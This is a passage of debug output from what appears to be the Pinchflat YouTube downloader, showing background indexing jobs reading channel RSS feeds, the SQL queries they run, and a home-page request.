s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:30:51.072 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 15:30:51.200 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 15:30:51.200 [debug] QUERY OK source="media_items" db=0.1ms idle=129.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 15:30:51.201 [debug] QUERY OK source="media_items" db=0.2ms idle=128.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 15:30:51.201 [debug] QUERY OK source="tasks" db=0.0ms idle=129.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [690, 2, ~U[2026-07-24 15:30:51Z], ~U[2026-07-24 15:30:51Z]] 15:30:51.201 [info] {"args":{"id":2},"id":687,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":133120,"event":"job:stop","queue_time":368356,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:30:51.202 [debug] QUERY OK source="tasks" db=0.1ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:30:57.041 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.677 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:31:05.083 [info] {"args":{"id":1},"id":688,"meta":{},"system_time":1784907065083239737,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:31:05.083 [debug] QUERY OK source="sources" db=0.1ms idle=143.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:31:05.083 [debug] QUERY OK source="tasks" db=0.1ms idle=143.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:31:05.084 [debug] QUERY OK source="settings" db=0.2ms idle=143.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:05.084 [debug] QUERY OK source="sources" db=0.0ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:31:05.084 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:31:05.084 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:05.084 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 15:31:05.126 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 15:31:05.126 [debug] QUERY OK source="media_items" db=0.1ms idle=42.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 15:31:05.128 [debug] QUERY OK source="media_items" db=2.0ms idle=42.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:31:05.129 [debug] QUERY OK source="tasks" db=0.0ms idle=45.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [691, 1, ~U[2026-07-24 15:31:05Z], ~U[2026-07-24 15:31:05Z]] 15:31:05.129 [info] {"args":{"id":1},"id":688,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":46346,"event":"job:stop","queue_time":421763,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:31:05.130 [debug] QUERY OK source="tasks" db=0.2ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:31:20.099 [info] {"args":{"id":3},"id":689,"meta":{},"system_time":1784907080099691987,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:31:20.100 [debug] QUERY OK source="sources" db=0.4ms idle=1159.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:31:20.100 [debug] QUERY OK source="tasks" db=0.4ms idle=1159.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:31:20.100 [debug] QUERY OK source="settings" db=0.0ms idle=1009.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:20.100 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:31:20.100 [debug] QUERY OK source="sources" db=0.3ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:31:20.101 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:31:20.101 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 15:31:20.127 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 15:31:20.128 [debug] QUERY OK source="media_items" db=0.1ms idle=27.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 15:31:20.130 [debug] QUERY OK source="media_items" db=1.8ms idle=27.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 15:31:20.130 [debug] QUERY OK source="tasks" db=0.0ms idle=29.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [692, 3, ~U[2026-07-24 15:31:20Z], ~U[2026-07-24 15:31:20Z]] 15:31:20.131 [info] {"args":{"id":3},"id":689,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":31203,"event":"job:stop","queue_time":598447,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:31:20.131 [debug] QUERY OK source="tasks" db=0.2ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:31:27.042 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:57.043 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.678 [info] {"source":"oban","duration":109,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:32:27.044 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:57.045 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:00.678 [info] {"source":"oban","duration":86,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:33:27.046 [info] {"source":"oban","duration":464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:33:56.939 [info] GET / 15:33:56.939 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:33:56.940 [debug] QUERY OK source="settings" db=0.0ms idle=1.0e3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:56.940 [debug] QUERY OK source="media_profiles" db=0.0ms idle=689.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:33:56.940 [debug] QUERY OK source="sources" db=0.0ms idle=0.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:33:56.945 [debug] QUERY OK source="media_items" db=5.1ms idle=0.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:33:56.945 [debug] QUERY OK source="media_items" db=0.4ms idle=5.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:33:56.946 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:56.946 [debug] QUERY OK source="settings" db=0.0ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:56.946 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:33:56.947 [debug] QUERY OK source="media_items" db=0.4ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:33:56.949 [debug] QUERY OK source="media_items" db=1.8ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:33:56.949 [debug] QUERY OK source="sources" db=0.0ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:33:56.953 [debug] QUERY OK source="media_items" db=3.4ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:33:56.956 [debug] QUERY OK source="media_items" db=3.4ms idle=6.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 